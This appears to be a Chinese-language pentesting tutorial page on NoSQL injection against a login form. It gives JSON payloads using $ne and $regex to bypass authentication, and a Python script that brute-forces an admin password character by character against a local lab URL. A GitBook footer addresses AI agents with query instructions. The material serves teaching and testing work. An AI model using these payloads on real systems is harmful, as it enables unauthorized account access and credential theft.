> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md).

# NoSQL 注入

<figure><img src="/files/01e5f0ae9957b307dce803f9961dd65b2cb9dd1c" alt="" width="563"><figcaption></figcaption></figure>

## 使用 Burp Suite 进行手动 NoSQL 注入

使用 Burp Suite 拦截登录请求：

<figure><img src="/files/6b27f23cac4ee913d4b0ef0d895427ac6ceeedb6" alt=""><figcaption></figcaption></figure>

当我们知道用户名是 **admin**，但是 **密码未知** 并且不是 `admin`:

```json
{
  "username": "admin",
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/f76dfcbd1ecb3d624f4c4a5fcfc40a6850e5867a" alt=""><figcaption></figcaption></figure>

当我们既不知道 **username** 也不知道 **密码**:

```json
{
  "username": {
    "$ne": "ThisUserDoesNotExist"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/d2be817da49e733d1673c385d16e643102fe4e06" alt=""><figcaption></figcaption></figure>

我们可以使用这种 **正则表达式** 当我们知道用户名如何 **开头**；在这种情况下，以字母 `一个`:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/e334b2c733b12246fe0a4c3debc4cb1dc9939b2d" alt=""><figcaption></figcaption></figure>

## Python 脚本：

下面的 Python 脚本自动化了该过程，旨在在用户名已知时查找密码。 *根据不同情况自定义用户名和目标 URL*:

<figure><img src="/files/726178bcac6fec42ef8ea1488fa1846772f2e8ce" alt=""><figcaption></figcaption></figure>

```python
#!/usr/bin/python3
from pwn import *
import requests, time, sys, signal, string
def def_handler(sig, frame):
    print("/n/n[!] 正在退出.../n")
    sys.exit(1)
# NoSQL 注入
signal.signal(signal.SIGINT, def_handler)
# NoSQL 注入
login_url = "http://localhost:4000/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeNoSQLI():
    password = ""
    p1 = log.progress("暴力破解")
    p1.status("开始暴力破解过程")
    time.sleep(2)
    p2 = log.progress("密码")
    for position in range(0, 100):
        for character in characters:
            post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password, character)
            p1.status(post_data)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(login_url, headers=headers, data=post_data)
            if "已以用户身份登录" in r.text:
                password += character
                p2.status(password)
                break
if __name__ == '__main__':
    makeNoSQLI()

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
